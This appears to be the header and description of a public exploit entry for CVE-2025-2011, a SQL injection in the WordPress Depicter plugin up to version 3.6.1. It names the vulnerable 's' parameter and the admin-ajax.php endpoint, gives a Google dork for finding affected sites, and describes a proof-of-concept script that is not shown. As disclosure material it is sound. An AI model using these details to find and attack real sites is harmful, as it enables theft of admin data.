WordPress Depicter Plugin 3.6.1 - SQL Injection

# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection
# Google Dork: inurl:/wp-content/plugins/depicter/
# Date: 2025-05-06
# Exploit Author: Andrew Long (datagoboom)
# Vendor Homepage: https://wordpress.org/plugins/depicter/
# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
# Version: <= 3.6.1
# Tested on: WordPress 6.x
# CVE: CVE-2025-2011
 
# Description:
# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1.
# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to:
# 1. Check if a target is vulnerable
# 2. Extract admin user details
# 3. Execute custom SQL queries

# The exploit is provided as a Python script (poc.py) that includes:
# - Error-based SQL injection detection
# - Admin user information extraction
# - Custom SQL query execution capability
# - Debug mode for detailed output
